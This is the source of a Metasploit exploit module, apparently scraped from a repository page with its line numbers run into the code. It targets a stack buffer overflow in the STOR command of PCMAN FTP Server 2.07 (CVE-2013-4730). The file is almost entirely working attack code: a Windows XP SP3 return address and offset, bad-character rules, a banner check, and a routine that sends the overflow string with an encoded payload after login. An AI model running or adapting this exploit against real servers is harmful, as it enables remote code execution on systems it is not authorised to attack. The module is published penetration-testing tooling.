Path: blob/master/modules/exploits/windows/ftp/pcman_stor.rb
19516 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking78include Msf::Exploit::Remote::Ftp910def initialize(info = {})11super(12update_info(13info,14'Name' => 'PCMAN FTP Server Post-Authentication STOR Command Stack Buffer Overflow',15'Description' => %q{16This module exploits a buffer overflow vulnerability found in the STOR command of the17PCMAN FTP v2.07 Server when the "/../" parameters are also sent to the server. Please18note authentication is required in order to trigger the vulnerability. The overflowing19string will also be seen on the FTP server log console.20},21'Author' => [22'Christian (Polunchis) Ramirez', # Initial Discovery23'Rick (nanotechz9l) Flores' # Metasploit Module24],25'License' => MSF_LICENSE,26'References' => [27[ 'CVE', '2013-4730' ],28[ 'OSVDB', '94624'],29[ 'EDB', '27703']30],31'DefaultOptions' => {32'EXITFUNC' => 'process',33'VERBOSE' => true34},35'Payload' => {36'Space' => 1000,37'BadChars' => "\x00\xff\x0a\x0d\x20\x40",38},39'Platform' => 'win',40'Targets' => [41[42'Windows XP SP3 English',43{44'Ret' => 0x77c35459, # push esp ret C:\WINDOWS\system32\msvcrt.dll45'Offset' => 201146}47],48],49'DisclosureDate' => '2013-06-27',50'DefaultTarget' => 0,51'Notes' => {52'Reliability' => UNKNOWN_RELIABILITY,53'Stability' => UNKNOWN_STABILITY,54'SideEffects' => UNKNOWN_SIDE_EFFECTS55}56)57)58end5960def post_auth?61true62end6364def check65c = connect_login66disconnect6768if c and banner =~ /220 PCMan's FTP Server 2\.0/69# Auth is required to exploit70vprint_status("Able to authenticate, and banner shows the vulnerable version")71return Exploit::CheckCode::Appears72elsif not c and banner =~ /220 PCMan's FTP Server 2\.0/73vprint_status("Unable to authenticate, but banner shows the vulnerable version")74# Auth failed, but based on version maybe the target is vulnerable75return Exploit::CheckCode::Appears76end7778return Exploit::CheckCode::Safe79end8081def exploit82c = connect_login8384# Auth failed. The mixin should show the error, so we just bail.85return unless c8687# Username is part of the overflowing string, so we need to account for that length88user_length = datastore['FTPUSER'].to_s.length8990print_status("Trying victim #{target.name}...")91sploit = rand_text_alpha(target['Offset'] - user_length)92sploit << [target.ret].pack('V')93sploit << make_nops(4)94sploit << payload.encoded95sploit << rand_text_alpha(sploit.length)9697send_cmd(["STOR", "/../" + sploit], false)98disconnect99end100end101102103